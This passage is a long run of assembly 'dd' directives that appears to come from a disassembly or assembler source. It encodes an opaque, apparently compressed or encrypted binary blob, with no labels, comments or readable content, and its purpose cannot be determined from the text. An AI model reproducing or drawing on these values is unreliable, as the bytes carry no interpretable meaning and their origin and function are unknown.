		dd 1405DDFBh, 0EC8CE543h, 72E7802Ah, 0E94BF81Dh, 690C0C39h
		dd 0F8E808F0h, 0EE9C00A0h, 886DB3F9h, 253A0327h, 6A4E949Bh
		dd 9F630308h, 7FF35807h, 5B730141h, 7D99E27Fh, 60BED7h
		dd 0F125EAFBh, 1E56AFBCh, 0B9293Fh, 2CE37ED4h, 0DF7FB3A7h
		dd 0E1B06203h, 0E66911Bh, 0D9F76C91h, 0EC2869E0h, 2418654Ah
		dd 728F34Bh, 584E03A5h,	9D8AD55Dh, 11E609B0h, 0C7887360h
		dd 1BAC5Ch, 926141B0h, 22965FBCh, 7574E200h, 16F93829h
		dd 285E002Ch, 6BF31FD6h, 0B1C6DC5Dh, 0A0D1E4E5h, 1B31B2h
		dd 352EFB46h, 5D8E01B9h, 12D49200h, 7E54F00Dh, 7539C1BEh
		dd 0C18F78F1h, 1ED9F4D7h, 4ADC0800h, 72CFE083h,	0F3DCED3Ch
		dd 0A90F60E5h, 0C5EA866Ch, 407B603h, 354C460h, 0D5459118h
		dd 8900DAE4h, 29024E0Eh, 4BA3DD1Ah, 0ACDE8DEh, 7CB5E862h
		dd 29640440h, 1E0E0032h, 5575D553h, 950035ACh, 0A5DC4B73h
		dd 6F1099h, 45E97132h, 0E6F82EDDh, 0ED1C0091h, 0BFCF7A40h
		dd 902CF34Ch, 0DE08A834h, 724D1EC9h, 0CFE580F4h, 6A8641B9h
		dd 918B0901h, 0D07F087h, 0EE11C20h, 156E02D6h, 0EFE6CEE0h
		dd 840025DBh, 29344428h, 2D82B3Ah, 899DF799h, 3848706Ah
		dd 9401B0E9h, 717EC3F8h, 0D0EF5B98h, 3C69D149h,	759189h
		dd 62B6F887h, 2CD5A02Ah, 4188311Bh, 48F5F040h, 0F6F230DCh
		dd 911D8E51h, 0CC691804h, 7088730Eh, 0CB7088F4h, 5EB63B0Eh
		dd 1492FBh, 95D7833Ch, 5F91C78h, 5939CC5Fh, 8905E188h
		dd 3895AC5Dh, 0E4742400h, 7CDDF3DCh, 89D06148h,	30803CFh
		dd 0A3D89AF8h, 4FB1B0h,	97F44E59h, 0AE50062Ch, 0B44C7A00h
		dd 7FEC664Bh, 543B0692h, 39EA41F8h, 0B91BF401h,	60738927h
		dd 600A49FCh, 0E0CC81F5h, 2500BC42h, 0C6F88A54h, 51A28FFDh
		dd 92E790C8h, 4871007h,	691C4712h, 216C9C00h, 52280Eh
		dd 0F549EE6Ah, 0D45EB296h, 0BF198D05h, 0C021EA40h, 7180F109h
		dd 4CF91F82h, 0AE03DA41h, 67D6A3DEh, 0A1D90971h, 8820C47Dh
		dd 6EA7D3C7h, 50B8842Eh, 0DC902C02h, 810662A2h,	0C55BD774h
		dd 696B398Dh, 5899F061h, 1306D412h, 2D09B007h, 8D960FE0h
		dd 9B300398h, 7993723h,	7FA488C4h, 0E815A024h, 0FBE0408h
		dd 0DC068C92h, 720061D4h, 99CB7E69h, 15A8FC15h,	0F831736Bh
		dd 0B44BE515h, 97C9930Fh, 6084C3A7h, 65FCBA54h,	0D8612F07h
		dd 0E66311E9h, 4469B214h, 0F91A4010h, 1E774A44h, 15379872h
		dd 19012CF3h, 357C933Ah, 0AF56F416h, 0DB68A900h, 0B4D5EB97h
		dd 3D330AF4h, 30955E45h, 8E0801C0h, 0BC95D000h,	7D981E88h
		dd 0F01563CBh, 590064D7h, 4E5892E8h, 51AA0769h,	1980DF2Ch
		dd 0D6A56F21h, 0C8005981h, 0CA262D64h, 0C3E57A47h, 661DC55Ch
		dd 0DC5DA5B1h, 68911496h, 0DCE07606h, 35730361h, 55925BD5h
		dd 0F3A1AFA3h, 40D10246h, 1918178h, 75098E12h, 803EE511h
		dd 0BE2FED39h, 0B7C86Ah, 1903B80Dh, 0A3AD4E62h,	3A758800h
		dd 822E0836h, 872F0298h, 0F6196B79h, 0FCB0F1C3h, 0D101F057h
		dd 756A81AFh, 0CC22E7BFh, 92007722h, 0FBA11E15h, 24E51Bh
		dd 2E6C7EF8h, 0CFC41CEFh, 6A0A0F9Ch, 7E126C1Dh,	0DBF04C20h
		dd 0A8E7E739h, 0F1A3FF5h, 0F20965AEh, 0E5B7F980h, 8F0138C7h
		dd 7A09925h, 6C43EA3Fh,	4DDCA9D1h, 42CF040h, 0D8160AD7h
		dd 4C4F90h, 6AF865AAh, 58708A01h, 5D0E090Bh, 0F1342414h
		dd 0AF94C8h, 9B8B3F4Bh,	1463DCA8h, 0EBAA9A00h, 60F20A85h
		dd 77820983h, 28137532h, 0F258C950h, 4C113388h,	810BEFD1h
		dd 0AB824CFEh, 3C6807C8h, 44844241h, 7000675Eh,	30046162h
		dd 0B42B50h, 961B1959h,	84050DB9h, 89FA327Bh, 88E859h
		dd 26A8709h, 60B19B1Dh,	0FE474949h, 6F3ED343h, 7E420EFDh
		dd 0E46E918h, 76B46729h, 0B0916994h, 0BB60E6CCh, 7E98E28Bh
		dd 18F46010h, 92EE545h,	0F911B114h, 0F4F83E70h,	64048988h
		dd 4048C0FEh, 8B3AE7A1h, 0C4A4000Ah, 9D3514F8h,	0AD00405Dh
		dd 65DEB10Fh, 0FC79CBC7h, 0CEB8A324h, 0B41E0B59h, 51807D77h
		dd 0D0AE7141h, 0A2E5E109h
		dd 0F83483ECh, 9822BD40h, 0EF2D2073h, 0D301147Eh, 0D48FCD96h
		dd 60301FA6h, 9D8938Eh,	6099776Bh, 362040B2h, 0B0A5AFh
		dd 5898BD12h, 4C02A413h, 19CD6917h, 82E30C37h, 58A08FC2h
		dd 73BA515Fh, 0C1F2EA07h, 97B05498h, 0C3941Bh, 0BEAE95F6h
		dd 2A59E8D7h, 8E983458h, 0E52CC360h, 1A8A98CDh,	0D90D2465h
		dd 0AFB00624h, 0D200A147h, 7DEE26EBh, 4F64B9h, 96389139h
		dd 3EBE8A87h, 852AF704h, 0D124F56Ah, 80DFF198h,	45953811h
		dd 3C10A3h, 0C9F0AE76h,	3D651BA1h, 2C0078BAh, 69AFF893h
		dd 28D82C3h, 72EC8A55h,	34E1A054h, 0BCA0CEE5h, 0CFC6EB9Ch
		dd 635E5C0Ch, 2D3049h, 0B5E5F888h, 2C750EC0h, 2EC210Fh
		dd 0F907591h, 80053C0Bh, 6CB3F5C2h, 0D5D800D7h,	0D29CC65Dh
		dd 4005B1DBh, 650CBBA4h, 6EF11088h, 3120C1F8h, 0C451CC6Eh
		dd 3ABAEA0Eh, 0AA3D405Fh, 2996AB03h, 80AC705Bh,	0A2868CCEh
		dd 2C01B66Ah, 0DDF6C458h, 82E854EFh, 5E6B26BDh,	60906458h
		dd 48E5AE4Ch, 1154CF5h,	0AB048C3Dh, 0C092D03Eh,	0EBD6A9A4h
		dd 0F275897Ah, 4D88DCA0h, 1800F872h, 0E397AF25h, 4CD28CAEh
		dd 84269308h, 2B51007Ch, 0FFAFDE94h, 0E9A6F900h, 4486A5ABh
		dd 0B060B81Bh, 0B5F70974h, 4C10B0D3h, 3EF613F9h, 0ACB31000h
		dd 0D7F532D5h, 585D515Ah, 248AD020h, 214E87h, 0AB36F7D0h
		dd 6C0FBD5Ah, 40A3F93Bh, 8E095EA2h, 471C1243h, 9BBB00BEh
		dd 57494EAh, 54FCCE00h,	49C7E176h, 0E7B700D2h, 980D2BE8h
		dd 5CF2A1A0h, 78BF3C2Ch, 0B4405F8Ah, 206EA04Ah,	26770D08h
		dd 30F605AFh, 88072A8Fh, 71125C40h, 0D890E4A1h,	0D9E085h
		dd 0D0048176h, 3D560161h, 6BC65B09h, 31D01871h,	49E7618Fh
		dd 0B0B633BDh, 0B0FB1041h, 71040693h, 904ECE58h, 10EDDC25h
		dd 0C110E52Ch, 0B37FCAA1h, 22A9ECCDh, 1995B101h, 0D25CD78Bh
		dd 69015180h, 0AD3E14F1h, 0D611D00Ch, 947E496Fh, 3DD38038h
		dd 5C8C3AC7h, 0DC4B8603h, 0C0300BF5h, 0F2C1DD0h, 0C4E26242h
		dd 2F67F801h, 0DC40C275h, 6C03EC52h, 6B3F2176h,	4B6A90EEh
		dd 0AC0F05FDh, 8840DB1Dh, 833BE15Ch, 11DD3046h,	32E0291h
		dd 9BBE20Dh, 190FD7E6h,	0E02B2817h, 0EE884795h,	0EF482h
		dd 4D86D52Fh, 0CD35CF8Dh, 99EACC0Ah, 0B263905Dh, 1EF10E6Ch
		dd 0A3A093BBh, 565D9A7h, 5989CB1Fh, 3BE4D840h, 25C78B1Eh
		dd 902CD511h, 0A88BD680h, 1C4F7C8Ah, 0C039979Ch, 8E13F6DBh
		dd 9E011A9Ah, 0F732AA2Ch, 0D8485BD7h, 205D4B6Bh, 8AD61520h
		dd 12D02B4Ch, 0BC9057F8h, 60786A88h, 58862907h,	2D18092Bh
		dd 85496BB1h, 0BFC40905h, 0A50024DAh, 8A301721h, 0D33B6501h
		dd 0BC2EEAB8h, 1B73C470h, 0F8582670h, 4A756BD8h, 2C120892h
		dd 0CC93F9DCh, 68F1D013h, 67B50116h, 0B8A23F5Bh, 0C97060B0h
		dd 0EEDDDB89h, 808499A0h, 2DCB058h, 892D022Eh, 76C0E1DDh
		dd 0B4092C79h, 0E12A7FCh, 0A82423BBh, 0F9C1004Eh, 5029CE7Bh
		dd 20C0DDBh, 11D1B3FAh,	7389075Bh, 60ADCC75h, 0CED79D76h
		dd 8A32A500h, 2BCBA9A4h, 8CE1073Dh, 10E946EEh, 0C47D3955h
		dd 0E40C680Fh, 4472E06Ch, 0A11BF57Bh, 5EC4E7E0h, 0BC883222h
		dd 0B123DAD0h, 2917C51h, 0B0B4ABAFh, 861F4E0h, 3337E4E5h
		dd 8A0ED97Dh, 801D97CFh, 882581DBh, 0BC450098h,	54B1EA4Bh
		dd 85C052Dh, 3F06003Ch,	0CEE16904h, 12127EBAh, 0C034E616h
		dd 2F82F438h, 450A58F4h, 889D8CD5h, 0CB911A41h,	1F6DC434h
		dd 11D226h, 71C2F8BBh, 437192B5h, 0F1A2B01Fh, 0FBB41C38h
		dd 8069564Fh, 6626DDA7h, 66D04835h, 2CBE1877h, 64C61846h
		dd 445F2E00h, 95DE0E87h, 40FB1442h, 33001C91h, 0FD85B49Bh
		dd 2D0ED7EFh, 983E9C09h, 0F38E4040h, 791D29BEh,	0E1830D8h
		dd 95034FE0h, 63B99035h, 0DAC5F833h, 0AD7ADCh, 502684A1h
		dd 4361EA8Eh, 13C9539h,	9142471Eh, 5188A80Ah, 408DD98Fh
		dd 0C5F0B1A6h, 369786Dh, 37DE1475h, 180AEEC2h, 40559646h
		dd 1E341A00h, 72282A9h,	2CAAA1ABh, 0CE36D029h, 630067FDh
		dd 0D6D45D1Bh, 3D93CEFh, 428B4645h, 690044B3h, 0A5528E1Fh
		dd 63219C16h, 11DE5815h, 2E368900h, 5014C364h, 0CCE50FEh
		dd 7BC85895h, 47593F00h, 9137B279h, 8557FD04h, 37C24411h
		dd 4794A36Bh, 0D1F9F8F3h, 0C24D017Dh, 0C43686DEh, 2100D702h
		dd 313044CEh, 0FF7E96h,	0BE40FDE5h, 53AAE28Eh, 2F48F3Bh
		dd 347CA9CEh, 0D29CA009h, 5CB547h, 0ED656636h, 75981DB1h
		dd 0ABD98303h, 10E8A37h, 2919DF61h, 0DCBF1722h,	19CE1B40h
		dd 0D0272C12h, 1320C058h, 0A516E57Eh, 93E8C9E0h, 76B4D754h
		dd 9015730Ch, 77D11A4h,	0B7CCC4AFh, 4679C596h, 0A1073414h
		dd 2A073A78h, 9B8E3E09h, 51441059h, 0E3780347h,	3CE05964h
		dd 8056193Ch, 0EF9F53D0h, 37FD493h, 0C6738051h,	0ABB8F58Dh
		dd 927226B8h, 77F8CC58h, 35384764h, 1A52488h, 0BBC6317Bh
		dd 0F41BB594h, 0AA0250B9h, 16926507h, 0C2304340h, 0D73A206Bh
		dd 81C90822h, 30A38A37h, 9900AD53h, 0EB3EAD21h,	7DC8000Bh
		dd 3D9707A4h, 25B08261h, 5E8A8800h, 0DF14694Eh,	6051C032h
		dd 5042E3C0h, 757B6C01h, 1858E7DBh, 0DA99DC41h,	32606180h
		dd 0D79ED89h, 0C600D070h, 0DB5FAF50h, 93FC13B3h, 7B34A8ECh
		dd 32D7483h, 1C5835ACh,	0DCDB16CCh, 77513Eh, 0CDC807D6h
		dd 718928Ah, 0EB160EF0h, 3E0DF319h, 4BBD43B8h, 0D701997Ch
		dd 0F8E81A15h, 6EF0EF02h, 2E060054h, 639FA947h,	833094DFh
		dd 3B0B8142h, 22F00760h, 87120DD6h, 3C0A9017h, 4505F9E2h
		dd 21C5DCE8h, 0F535804Fh, 0F09F00CCh, 0D9E87141h, 0A6AC004Dh
		dd 67862960h, 0D43AD5C8h, 44F42452h, 3E5BE381h,	0B830996Ch
		dd 0A058772Bh, 0EC45AF0h, 5FEA7F1Eh, 0CA47DFAFh, 4E57701Ch
		dd 0AB3E24A3h, 0ACF3DF9h, 0BE488FDAh, 40A86607h, 0A0211AD5h
		dd 84D2BFDCh, 6D401650h, 5A88311Eh, 0E8B0C100h,	0A75CFD5Eh
		dd 0CF02249Ah, 0DD0B0CE4h, 0CB00AAA0h, 261B7F81h, 71E53A0Fh
		dd 91E41294h, 0AB7020A5h, 592412CCh, 0BF0EA839h, 4796863Ah
		dd 0E22B0179h, 0E43E61F6h, 945BD4AFh, 92D29800h, 5F2D7A73h
		dd 0A6C62415h, 11C50448h, 6CF307DEh, 870001C9h,	432061E4h
		dd 0AF6418CAh, 1E905945h, 0C1938607h, 0E6C056DAh, 242E3C22h
		dd 76B8212h, 0C5660F25h, 26B44011h, 9E63DB70h, 1F7068DBh
		dd 4376A948h, 0EE400E90h, 3691DC90h, 9998A4h, 5E00901Ch
		dd 2E08E17h, 86951BD6h,	0BF80E8CEh, 0DB48C44Bh,	6A568448h
		dd 12C16088h, 18C2F1D2h, 0E56871E0h, 0A22EE300h, 2F85ABE1h
		dd 15C40006h, 0AD03AF2Ch, 1B48985Dh, 0AC411460h, 51E0024h
		dd 0FC199366h, 0BB33AEFh, 6946424h, 1994448Eh, 4B09957Ch
		dd 90F8E210h, 0D5DF0E78h, 9C3AC30h, 0B1083F28h,	8045B840h
		dd 0B9C02E66h, 1F052C04h, 0DA92090Fh, 44B71404h, 60993341h
		dd 0EB188E4Eh, 0B7009037h, 31585F3Eh, 7700C7D7h, 48723CEAh
		dd 1293176Bh, 30C3AE0h,	15AB3740h, 0EC47A100h, 7731D6B3h
		dd 633012B5h, 5AE40A99h, 88AB6484h, 0F655CFACh,	79DEECA4h
		dd 0A5638D00h, 33A7CA13h, 0C2B5DB2h, 0F09009C3h, 3ADEC118h
		dd 224D1A9h, 4D69FC06h,	0A5C0ABFBh, 4700B088h, 0C9A89946h
		dd 131D2628h, 53609794h, 8FE00AA4h, 4C564080h, 5E02AC78h
		dd 6BE9821Ch, 1DD066DCh, 2CF9C137h, 88C46484h, 64982E38h
		dd 0DA1A9E00h, 75930918h
		dd 30B115h, 84A28BDFh, 7041917h, 438E6721h, 6064B489h
		dd 8836162Fh, 0DC404269h, 0F0453919h, 0AB3F6A01h, 0E6C80DC8h
		dd 86AC00F1h, 0C74AF46Dh, 0DF52F69Ch, 998E00C0h, 28FF68B6h
		dd 5092E02Ch, 14ED08E1h, 0A0A37716h, 31800F88h,	0B6C07083h
		dd 19AC043Dh, 80F97390h, 82991FB8h, 0C128105Dh,	59EE79C8h
		dd 78E56F4h, 4C630ADBh,	2B8AC05Ch, 228AD3Bh, 0E1014813h
		dd 949266B1h, 31805744h, 0A661D2A8h, 0F147CB89h, 0FBD8ED00h
		dd 1534926Bh, 90180A8h,	82AD7E00h, 9A84FD2Bh, 451900CEh
		dd 0C4E9B473h, 50BD3629h, 4D963162h, 0D883B0E1h, 79007D5Ch
		dd 773088C1h, 1F484C4h,	78349036h, 8914CB91h, 0A1E96779h
		dd 8837CA2Dh, 0F44C5C32h, 24CCE139h, 1244CC10h,	830C637h
		dd 2AD2E58h, 1CD25164h,	4413331h, 8909E79Ch, 102BB94Dh
		dd 88D99660h, 0E08B9140h, 2E423C7Ah, 8178EBAAh,	37B3A266h
		dd 123423ACh, 0E0040533h, 0AD4411F1h, 2766402Fh, 1644244h
		dd 0C0365033h, 2128125Ch, 0EF880880h, 0F9EC4C00h, 38AB9869h
		dd 917121Ch, 0E384885Dh, 63DC8409h, 35B82558h, 9297C020h
		dd 0C5A100A3h, 0EC616FACh, 1A1D730Bh, 0A800CA22h, 0E3332011h
		dd 88962216h, 58E2F22Ch, 85DD9108h, 5F0F8937h, 2B6409ACh
		dd 3304EC44h, 0B7C43678h, 4096BCD1h, 70864983h,	29A05F7Bh
		dd 0C719A238h, 8991335h, 19BE320h, 0F9466D2Fh, 0DC0A7E53h
		dd 0E53B6E4Dh, 58EF00C5h, 42885BC4h, 98C29890h,	99C4A084h
		dd 0C18500AAh, 93C4AF89h, 20902C47h, 26296120h,	433C9440h
		dd 1DA1213Ah, 0CF0880D1h, 367708AEh, 0D11067C3h, 5CCD4078h
		dd 0AA264DE0h, 0CF8AD84Ah, 0D580E0DCh, 1F9BB39h, 0A06400B7h
		dd 9BA3E8Ah, 8E013057h,	632823BCh, 8968B74h, 2CF40867h
		dd 4EC9481h, 118038DFh,	4D8A92A6h, 0F0B51B45h, 8B7D005Fh
		dd 0A8F7FA19h, 0F860E076h, 0DED946E9h, 991B16C9h, 0E79C455Ch
		dd 3F0A8022h, 0A9D41EAAh, 0F1552258h, 0E9004032h, 63B6674h
		dd 200A4B4h, 0E6B658C2h, 26A288FAh, 89E81D15h, 701125ADh
		dd 0C7D03293h, 4B60F2C8h, 0FEAE9508h, 196800AFh, 2C2FA99Bh
		dd 4916A3E1h, 24094037h, 93101E0Eh, 0F26A809Ch,	99AC61BEh
		dd 41349418h, 3AA581h, 0FDAE607Ch, 85ACE088h, 8A58C038h
		dd 0F0C8EA76h, 0DCA14B18h, 0E070BEh, 32096628h,	1C33E90Dh
		dd 7200B8F6h, 8D4B6ED7h, 0FC7838h, 81B9A052h, 0C412EF8Ch
		dd 40B30700h, 1179D7A6h, 9D39017Ah, 0E5C761E9h,	0A9CED888h
		dd 0CCB57D09h, 6E0020C1h, 925DA3h, 0FC5250D1h, 0B1E031BBh
		dd 9FB5A60Eh, 0CC786076h, 4A12E64h, 0BED738C1h,	8441492Dh
		dd 785ADADCh, 0E0914C98h, 855B1003h, 801FF54Dh,	0F733D9Ch
		dd 0C4ECEF79h, 5A0E4AE0h, 7D7DD6C1h, 23C0DC25h,	2E35F0h
		dd 66D58249h, 77FD4451h, 99AED406h, 0A20861EAh,	1F38009Ch
		dd 6AE291h, 0F4773F4Ch,	3EB305C9h, 0EFA0271Eh, 0FC91D880h
		dd 3D3A681Bh, 0D200ADA3h, 0E67F17Bh, 165DC9E1h,	2CAA8A40h
		dd 1DEA2183h, 0C6080038h, 0AE0AF7C4h, 0AD04BE24h, 0BAE064B4h
		dd 0DDE3CCC1h, 24809602h, 7F5904EAh, 1FAE134Ch,	0D30717D4h
		dd 314035E4h, 12910FFh,	0CE56AC6Eh, 29DEC346h, 392E0008h
		dd 0A6EF2C9Eh, 94F40024h, 32138B4Eh, 0DE028D89h, 350690B9h
		dd 0CE18E0FDh, 0CBCC315Fh, 0C8856481h, 3E00A917h, 41485DB8h
		dd 0D1A5BFh, 31888C32h,	7864B58Dh, 737C5C00h, 0C03ED7D6h
		dd 91410966h, 44E5A6ADh, 0F5C05100h, 2540EEA2h,	18104254h
		dd 14051633h, 0E08B7C70h, 49D0C8h, 5342F29Ch, 0C6DF078h
		dd 8717F800h, 12970234h, 0B0CCEE82h, 770925E4h,	18B71011h
		dd 3E901D24h, 9622607Ch, 1260B0F2h, 20DF848Ah, 0E414CAE4h
		dd 0DE669601h, 1C1AF1D3h, 0CCAEDE80h, 6A90A179h, 0C73B9B0Bh
		dd 0B8741B64h, 3C7DA89Fh, 7E04E19Dh, 85039377h,	0B0E82015h
		dd 7D16B98Ah, 0C842BFBDh, 84F1CAAFh, 8053F9F8h,	5834BF50h
		dd 76FD720Eh, 9C90D378h, 0B897D712h, 17C8014Bh,	555A648Ah
		dd 4E99EC27h, 772289C0h, 77BE949h, 7E8D5B2h, 9795406Ah
		dd 9231C337h, 0EE069D7h, 0C6FA9987h, 0BDEC202Fh, 3D482D86h
		dd 0A66D8398h, 0ED608F52h, 1F937FAh, 8ACC7BADh,	341C0892h
		dd 0FD458E8Ch, 3BA88430h, 0D1E7CC6Dh, 0AB45C03Eh, 0A9001873h
		dd 0E28B4C60h, 9076C424h, 4A5AFE3Bh, 0FF405EBDh, 91A07C48h
		dd 5E077194h, 0D562777Fh, 0EF2BF080h, 16F213D7h, 0DE742279h
		dd 65001844h, 0CACD043Fh, 0B0B77108h, 87580702h, 0F0F84989h
		dd 0B029FB34h, 1AC73717h, 15AA8020h, 0A7AC0067h, 0D7F01239h
		dd 92008841h, 146AD62Fh, 1F9367Eh, 4A17CF09h, 41CC8A3Ah
		dd 689142F4h, 616488B8h, 0F2A68DAFh, 72C6F499h,	76E862B8h
		dd 0D6CC911Fh, 0EBDFF986h, 0C604C98Dh, 0B0F57861h, 945D70C0h
		dd 5C761F63h, 0D9374EDAh, 9C48DD60h, 8E074234h,	60EA0FE2h
		dd 2B4FCD91h, 1768424h,	61F0ADBh, 6C74355Fh, 0F2721D28h
		dd 96693318h, 9AE5013Ah, 25CF8FD9h, 22F0F45Bh, 76D19012h
		dd 60889812h, 1C2EEF4h,	0DFFF6468h, 6257DCFAh, 7C3E24E0h
		dd 4AF9AF80h, 96AD3671h, 0E278AE8h, 9DF80CB0h, 0BCA40DF0h
		dd 2A667900h, 1645873h,	0BF1A2480h, 8DF116ACh, 9DB5F060h
		dd 72B3F900h, 0C0315E97h, 0D32309EAh, 1048B840h, 0E5518F09h
		dd 8034311Ch, 4B6D6260h, 0F0BCB289h, 24D0878h, 3387409Ah
		dd 0FFA02492h, 0C1BE237h, 3567C6E1h, 0E0B7F90h,	82D36278h
		dd 5A88B27Dh, 81E202ACh, 0A691E194h, 0AD1BF044h, 0F0D91229h
		dd 0A95A0A53h, 9062CFC0h, 861FB05h, 6E81EB3Fh, 0C7D818C6h
		dd 703602D4h, 0E05FE850h, 0EA705CC4h, 7FAD93Ch,	81D29BB3h
		dd 0C0CCB1B2h, 0E7899CF8h, 3201070h, 35EF662Bh,	7E906910h
		dd 0F30B58FDh, 0A37A8394h, 0E098C734h, 39C49D38h, 0D0986CD6h
		dd 2CE4117Bh, 0EC063C0Ch, 74793Bh, 0A2D57845h, 0E3E1032Ah
		dd 0BCAC350Eh, 0F3966081h, 12C3F5A1h, 41AE9710h, 58DC3C70h
		dd 0AC41A81Dh, 3B7808FFh, 0A3267F94h, 950600F8h, 9D3FA83h
		dd 9B981860h, 1237DA03h, 0DC8A76D8h, 0F094794h,	81311FB4h
		dd 838E2B7Eh, 3218B320h, 0AB31E73Ch, 656B5701h,	118019ACh
		dd 5E3FA4h, 76E3862Bh, 71B3BB09h, 65F12474h, 0B9961E2Ch
		dd 0FC9064A7h, 330F3650h, 0E78A85h, 2B53EFACh, 9C1B0090h
		dd 0A1BEA6D4h, 14F2406Fh, 0AFCD8107h, 0B181742Ah, 472176A7h
		dd 0EBD4E0h, 588816C0h,	9177663Dh, 28123530h, 0C9CAB8h
		dd 0D3426562h, 0E72B56EBh, 0AFA42C0Eh, 30378D77h, 0C6814986h
		dd 0CF5061FAh, 2003C20h, 461B4FCh, 1D3105h, 0B3AA43FEh
		dd 6F66BAA2h, 0F0936C00h, 0F55BE315h, 2770013h,	37C9245Fh
		dd 60A8958Ch, 0BF8866CAh, 0C6B00341h, 468C2EDEh, 6A9D021h
		dd 813BCF5Bh, 281C9300h, 8084A2A5h, 85735Dh, 9889E427h
		dd 0B9765AAh, 94B0EC14h, 0EA670064h, 5D5EAF57h,	0C67A1D05h
		dd 0D6BF809Ch, 4B2AC58Ah, 74289160h, 0EE1A83Dh,	75B17EEEh
		dd 2354560h, 0FF05BA1Eh, 0ADCD84C9h, 203D8822h,	1F5B9A8Dh
		dd 0B30127FAh, 24E92C79h, 47D45854h, 0C65703A4h, 976996B1h
		dd 98A9BEF0h, 0BF53272Eh, 6D739500h, 0E2F9CEACh, 1C544876h
		dd 3091BF06h, 3B1B612Eh, 0E3A14701h, 817C3Eh, 7D0C1EF9h
		dd 0BBB3A9FFh, 436C0601h, 4C97E637h, 0DC6044F5h, 0DFBC0023h
		dd 2C98E0AEh, 5E073E6Ch
		dd 0B921A27h, 9138A7E0h, 0E74700A3h, 89247F37h,	2F0736E8h
		dd 2EC3D110h, 6A80E047h, 7A45294h, 32E9E7DFh, 4006D3D4h
		dd 0CCE02804h, 26C1F29Ah, 0BEC3AD6h, 0D0AF14C0h, 660620B7h
		dd 31356D0Ah, 80C71950h, 87063778h, 0FA94AFBh, 1ED0F128h
		dd 0BE3100C0h, 8D67216h, 49C0826Ch, 0AE5E5D96h,	0B0661D89h
		dd 613C58D0h, 0DE615C24h, 0D7721BB9h, 319E3888h, 29230D0Dh
		dd 38E699E4h, 7107224Fh, 10BF967Eh, 0D0E3A03Dh,	0F3BB430Ch
		dd 6E2748DFh, 1D0051D3h, 738ACAF9h, 0DA343D00h,	0C3EC1A30h
		dd 0CD255C01h, 7204D961h, 57898D8h, 0B996E9h, 4EFC544Ch
		dd 67F717AFh, 8457C129h, 0BF5F053Ah, 8003645h, 90E58771h
		dd 0D1273007h, 99F80519h, 340A5403h, 0F032CA18h, 0B9B430h
		dd 5CC4FF11h, 522CAFF1h, 0BE86AE00h, 8FFB0D5Fh,	1557C26h
		dd 7856E41Eh, 874506B8h, 781BF69h, 99D52490h, 0AC5B0BD7h
		dd 75838C12h, 0B0B0E595h, 431C5F1Ch, 33036FBAh,	39E726D4h
		dd 988C6591h, 0FCF256A1h, 33AFB900h, 3BEA6C3Ch,	70695009h
		dd 9057101Dh, 0D38702B1h, 9011A64Ah, 7C7D15F4h,	59D06424h
		dd 17288807h, 6A521F00h, 161BEEDFh, 0BFE90A8Ch,	629C2857h
		dd 6E1856C0h, 7DF70A16h, 8074B007h, 7B24BF7Eh, 0F40071ECh
		dd 0C564A092h, 3444A1Ah, 4EC34D33h, 49013227h, 85E8DE80h
		dd 20213B8Fh, 55FEA980h, 6EF68963h, 0C0F31700h,	0B79FB999h
		dd 0F4A6071Bh, 56851AAEh, 8F03310Eh, 4F493C1Eh,	905EC072h
		dd 0C008A006h, 7FB70046h, 0D01C9E97h, 0B0015EDBh, 954E2755h
		dd 64201F04h, 0B5D18811h, 185C4C49h, 336105D6h,	35241257h
		dd 56F7005Bh, 4EC11481h, 91117E00h, 7C184A4Bh, 0CC0304B8h
		dd 90DD7BB5h, 0DEAF1768h, 3AC891h, 0B83EEC20h, 0D6B7CBDBh
		dd 40370C28h, 8803C521h, 33F425A4h, 0C2BDB803h,	0F9D20023h
		dd 4E6AB5FDh, 295557C0h, 0DFD8E4B4h, 1E37C13Eh,	700C2D0Fh
		dd 9B811E1h, 1A530D16h,	0C06A2405h, 242E944Bh, 860F6C0Eh
		dd 0D4A48309h, 0AB438318h, 27E91501h, 80084EEh,	0D83E583Dh
		dd 8600C48Dh, 1C2908Bh,	0AE2745Bh, 2C0D5299h, 5D044494h
		dd 90D91300h, 1E9D777Eh, 99E111h, 7662DDF0h, 801EEA8Eh
		dd 0DEC1AF86h, 0B45B2434h, 68818D3h, 0F8D1D942h, 479DD500h
		dd 21467DA9h, 14780B43h, 4E8AD632h, 89AF008Ch, 0F75C7EB6h
		dd 0CE7674E8h, 5EE47A79h, 993BE930h, 0C0EB32AEh, 9B6269D1h
		dd 5A7466C4h, 9289B02Ch, 0CE488518h, 3995F88Dh,	0B514870Ah
		dd 8F83E07Ah, 99012AF2h, 0A33C83ABh, 0D0D023AEh, 9CB499C4h
		dd 50F6A8C6h, 16D3854h,	0E3913C0Fh, 8086F34Ah, 1A5D4F08h
		dd 90B6EDC1h, 0B0873944h, 48916018h, 0CAB893ADh, 1C712B62h
		dd 58A5E08Ah, 30D0FCA3h, 4F7130ABh, 0FAB07E24h,	0C4C0B160h
		dd 18CFDCCh, 0F43E35AEh, 336A094Eh, 2B030FFCh, 897DE0BDh
		dd 994BAF1Ch, 80B01F1Ch, 7E3A1443h, 0DB21C3B6h,	1FAA82DFh
		dd 0F0400FBFh, 8C910DAEh, 4345C200h, 0EA3842DAh, 74E31FB8h
		dd 4DAB87AEh, 9A92D018h, 9152802h, 1288FB27h, 9107D85Eh
		dd 8970882Eh, 8C7F29h, 2B6E69CFh, 8E7B41DAh, 0B77EFD00h
		dd 0AAD0A168h, 0F1126154h, 8C476B09h, 89260DD1h, 0A0340089h
		dd 7AC356FAh, 0FE00616Ch, 0CD5EEB25h, 594F1354h, 92130E4h
		dd 0EC00EF11h, 4E2423BCh, 0A500D5D0h, 0B49D1EDBh, 1630BF54h
		dd 40DC38Ch, 6407134h, 814307h,	0BF8E1ADEh, 6E88BB7Eh
		dd 0C9DD5B00h, 3FE9BCADh, 380F66C3h, 18163154h,	5004D072h
		dd 0AE403B29h, 5C489425h, 0D1E0C450h, 95C8BD06h, 10F83693h
		dd 18DFFFACh, 90B1FD27h, 0CFF41F59h, 0A100B83Ch, 0D1E1C62Eh
		dd 1607ABAEh, 0D6FEB1A0h, 5E92Ch, 56F3D857h, 76A7459Ah
		dd 1F107A00h, 60E67C59h, 0C07E246Dh, 0ADBA0138h, 222A8EDAh
		dd 12805674h, 6006B391h, 1E89D226h, 15A8FBEh, 0AECB6A17h
		dd 0BD88C4CCh, 248DB59h, 8EDCADB8h, 7C28A428h, 2301C332h
		dd 94CEAF16h, 68B74018h, 9D87248h, 914BB5D0h, 0D2100834h
		dd 1B1DCF86h, 5EC0C675h, 0C1EDC241h, 9DDB0116h,	86CBEBA3h
